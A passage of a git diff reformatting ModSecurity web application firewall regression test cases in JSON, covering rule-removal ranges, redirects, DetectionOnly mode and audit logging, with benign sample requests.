"version_min":300000, - "title":"m_lineNumber ... mapping ... correct line number in file (5/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "m_lineNumber ... mapping ... correct line number in file (5/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "12", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=test5" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"line \"174\"" + "expected": { + "error_log": "line \"174\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test3\" \"id:1,phase:3,pass,t:trim\"", "Include test-cases/data/big-file.conf" ] }, { - "enabled":1, - "version_min":300000, - "title":"m_lineNumber ... mapping ... correct line number in file (6/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "m_lineNumber ... mapping ... correct line number in file (6/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "12", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=test5" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"line \"174\"" + "expected": { + "error_log": "line \"174\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test3\" \"id:1,phase:3,pass,t:trim\"", "Include test-cases/data/not-so-big-file.conf" ] } ] - diff --git a/test/test-cases/regression/issue-1850.json b/test/test-cases/regression/issue-1850.json index 3057537a5e..d32f3d1a68 100644 --- a/test/test-cases/regression/issue-1850.json +++ b/test/test-cases/regression/issue-1850.json @@ -4,7 +4,7 @@ "version_min": 209000, "version_max": -1, "title": "Override the default status code if not suitable to redirect action", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1850", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1850", "client": { "ip": "200.249.12.31", "port": 2313 @@ -17,7 +17,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -25,18 +25,24 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=£&bar=%C2%A3", + "uri": "/test.pl?foo=£&bar=%C2%A3", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "http_code": 302 @@ -44,7 +50,7 @@ "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:1,status:404,deny\"", - "SecRule REQUEST_URI \"@contains /\" \"id:2000001,phase:1,log,redirect:'http://1.1.1.1/failed.html',t:none,msg:\"Unauthorized administrator request'\"" + "SecRule REQUEST_URI \"@contains /\" \"id:2000001,phase:1,log,redirect:'http://1.1.1.1/failed.html',t:none,msg:'Unauthorized administrator request'\"" ] } ] diff --git a/test/test-cases/regression/issue-1941.json b/test/test-cases/regression/issue-1941.json index 0410ddad84..9a2ebfc88f 100644 --- a/test/test-cases/regression/issue-1941.json +++ b/test/test-cases/regression/issue-1941.json @@ -4,8 +4,35 @@ "version_min": 209000, "version_max": -1, "title": "Failed to load locate the unicode map file from: ... 1/n", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1941", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1941", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { + "http_code": 200, "parser_error": "Failed to locate the unicode map file from: does-not-exist-unicode.mapping" }, "rules": [ @@ -18,9 +45,36 @@ "version_min": 209000, "version_max": -1, "title": "Failed to load locate the unicode map file from: ... 2/n", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1941", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1941", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "parser_error": "Failed to locate the unicode map file from: um dois tres does-not-exist-unicode.mapping" + "http_code": 200, + "parser_error": "Failed to locate the unicode map file from: um dois tres does-not-exist-unicode.mapping" }, "rules": [ "SecRuleEngine On", @@ -32,9 +86,36 @@ "version_min": 209000, "version_max": -1, "title": "Failed to load locate the unicode map file from: ... 3/n", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1941", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1941", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "parser_error": "Invalid input: SecUnicodeMapFile does-not-exist-unicode.mapping eita" + "http_code": 200, + "parser_error": "Invalid input: SecUnicodeMapFile does-not-exist-unicode.mapping eita" }, "rules": [ "SecRuleEngine On", @@ -57,8 +138,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -66,27 +147,30 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2&pparam=дор", + "uri": "/test.pl?param1= test ¶m2=test2&pparam=дор", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { @@ -115,8 +199,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -124,27 +208,30 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2&pparam=дор", + "uri": "/test.pl?param1= test ¶m2=test2&pparam=дор", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { diff --git a/test/test-cases/regression/issue-1943.json b/test/test-cases/regression/issue-1943.json index 7dd688d556..9a906dd507 100644 --- a/test/test-cases/regression/issue-1943.json +++ b/test/test-cases/regression/issue-1943.json @@ -15,8 +15,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -24,27 +24,30 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2&pparam=дор", + "uri": "/test.pl?param1= test ¶m2=test2&pparam=дор", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { @@ -72,8 +75,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -81,31 +84,33 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2&pparam=дор", + "uri": "/test.pl?param1= test ¶m2=test2&pparam=дор", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "debug_log": "", "http_code": 200 }, "rules": [ diff --git a/test/test-cases/regression/issue-1956.json b/test/test-cases/regression/issue-1956.json index ead45da2a0..587f822a6d 100644 --- a/test/test-cases/regression/issue-1956.json +++ b/test/test-cases/regression/issue-1956.json @@ -1,190 +1,215 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "ctl:ruleRemoveById doesn't handle all ranges equally 1", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1956", - "gihub_issue": 1956, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "ctl:ruleRemoveById doesn't handle all ranges equally 1", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1956", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=)", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=)", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", "debug_log": "Rule id: 913104 was skipped due to a ruleRemoveById", - "error_log": "" + "http_code": 200 }, - "rules": [ + "rules": [ "SecRule REQUEST_URI \"@beginsWith /test\" \"id:1001,phase:request,pass,nolog,t:none,ctl:ruleRemoveById=913103-913105\"", "SecRule REQUEST_URI \"@beginsWith /test\" \"id:913104,phase:request,pass,nolog,t:none,msg:'whee'\"" ] }, { - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "ctl:ruleRemoveById doesn't handle all ranges equally 2", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1956", - "gihub_issue": 1956, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "ctl:ruleRemoveById doesn't handle all ranges equally 2", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1956", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=)", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=)", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", "debug_log": "Rule id: 913104 was skipped due to a ruleRemoveById", - "error_log": "" + "http_code": 200 }, - "rules": [ + "rules": [ "SecRule REQUEST_URI \"@beginsWith /test\" \"id:1001,phase:request,pass,nolog,t:none,ctl:ruleRemoveById=913104\"", "SecRule REQUEST_URI \"@beginsWith /test\" \"id:913104,phase:request,pass,nolog,t:none,msg:'whee'\"" ] }, { - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "ctl:ruleRemoveById doesn't handle all ranges equally 3", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1956", - "gihub_issue": 1956, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "ctl:ruleRemoveById doesn't handle all ranges equally 3", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1956", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=)", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=)", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", "debug_log": "Rule id: 913103 was skipped due to a ruleRemoveById", - "error_log": "" + "http_code": 200 }, - "rules": [ + "rules": [ "SecRule REQUEST_URI \"@beginsWith /test\" \"id:1001,phase:request,pass,nolog,t:none,ctl:ruleRemoveById=913103-913105\"", "SecRule REQUEST_URI \"@beginsWith /test\" \"id:913103,phase:request,pass,nolog,t:none,msg:'whee'\"" ] }, { - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "ctl:ruleRemoveById doesn't handle all ranges equally 4", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1956", - "gihub_issue": 1956, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "ctl:ruleRemoveById doesn't handle all ranges equally 4", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1956", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=)", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=)", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", "debug_log": "Rule id: 913105 was skipped due to a ruleRemoveById", - "error_log": "" + "http_code": 200 }, - "rules": [ + "rules": [ "SecRule REQUEST_URI \"@beginsWith /test\" \"id:1001,phase:request,pass,nolog,t:none,ctl:ruleRemoveById=913103-913105\"", "SecRule REQUEST_URI \"@beginsWith /test\" \"id:913105,phase:request,pass,nolog,t:none,msg:'whee'\"" ] }, { - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "ctl:ruleRemoveById doesn't handle all ranges equally 5", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1956", - "gihub_issue": 1956, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "ctl:ruleRemoveById doesn't handle all ranges equally 5", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1956", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=)", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=)", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", "debug_log": "Rule: 913102. Executing operator", - "error_log": "" + "http_code": 200 }, - "rules": [ + "rules": [ "SecRule REQUEST_URI \"@beginsWith /test\" \"id:1001,phase:request,pass,nolog,t:none,ctl:ruleRemoveById=913103-913105\"", "SecRule REQUEST_URI \"@beginsWith /test\" \"id:913102,phase:request,pass,nolog,t:none,msg:'whee'\"" ] diff --git a/test/test-cases/regression/issue-1960.json b/test/test-cases/regression/issue-1960.json index 5b288977cd..14de7d66d4 100644 --- a/test/test-cases/regression/issue-1960.json +++ b/test/test-cases/regression/issue-1960.json @@ -1,37 +1,42 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleEngine DetectionOnly with disruptive SecDefaultAction", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleEngine DetectionOnly with disruptive SecDefaultAction", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host": "localhost" + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0" }, - "uri":"?a=a", - "method":"GET" + "uri": "?a=a", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecDefaultAction \"phase:1,deny,status:403\"", "SecRule ARGS \"@rx a\" \"id:1,phase:1,block" diff --git a/test/test-cases/regression/issue-2000.json b/test/test-cases/regression/issue-2000.json index 05610b457d..4e7972a3a3 100644 --- a/test/test-cases/regression/issue-2000.json +++ b/test/test-cases/regression/issue-2000.json @@ -1,35 +1,42 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing audit log part H should output when deny - issue-2000", - "expected":{ - "http_code":200 + "enabled": 1, + "version_min": 300000, + "title": "Testing audit log part H should output when deny - issue-2000", + "client": { + "ip": "127.0.0.1", + "port": 123 }, - "client":{ - "ip":"127.0.0.1", - "port":123 + "server": { + "ip": "127.0.0.1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"index.php?foo=bar&a=xxx", - "method":"GET", - "body": "" + "uri": "index.php?foo=bar&a=xxx", + "method": "GET", + "body": [ + "" + ] }, - "expected": { - "http_code": 403, - "audit_log": "id \"1234" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - - "server":{ - "ip":"127.0.0.1", - "port":80 + "expected": { + "audit_log": "id \"1234", + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAuditLogParts ABIJDEFHZ", "SecAuditEngine RelevantOnly", diff --git a/test/test-cases/regression/issue-2099.json b/test/test-cases/regression/issue-2099.json index fff4aa4cc8..2b56572536 100644 --- a/test/test-cases/regression/issue-2099.json +++ b/test/test-cases/regression/issue-2099.json @@ -1,195 +1,260 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveById - issue 2099", - "expected":{ - "http_code":200 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveById - issue 2099", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/remote.php/webdav?bar=foo", - "method":"GET", - "body": "" - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:9003100,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=941000-942999,ctl:ruleRemoveById=951000-951999,ctl:ruleRemoveById=953100-953130,ctl:ruleRemoveById=920420,ctl:ruleRemoveById=920440\"", - "SecRule ARGS \"@contains foo\" \"id:951001,phase:2,t:none,drop\"" + "uri": "/remote.php/webdav?bar=foo", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:9003100,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=941000-942999,ctl:ruleRemoveById=951000-951999,ctl:ruleRemoveById=953100-953130,ctl:ruleRemoveById=920420,ctl:ruleRemoveById=920440\"", + "SecRule ARGS \"@contains foo\" \"id:951001,phase:2,t:none,drop\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveById against - issue 2099", - "expected":{ - "http_code":403 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveById against - issue 2099", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/remote.php?bar=foo", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/remote.php?bar=foo", - "method":"GET", - "body": "" - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:9003100,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=941000-942999,ctl:ruleRemoveById=951000-951999,ctl:ruleRemoveById=953100-953130,ctl:ruleRemoveById=920420,ctl:ruleRemoveById=920440\"", - "SecRule ARGS \"@contains foo\" \"id:951001,phase:2,t:none,drop\"" + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:9003100,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=941000-942999,ctl:ruleRemoveById=951000-951999,ctl:ruleRemoveById=953100-953130,ctl:ruleRemoveById=920420,ctl:ruleRemoveById=920440\"", + "SecRule ARGS \"@contains foo\" \"id:951001,phase:2,t:none,drop\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveByTag - issue 2099", - "expected":{ - "http_code":200 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveByTag - issue 2099", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + 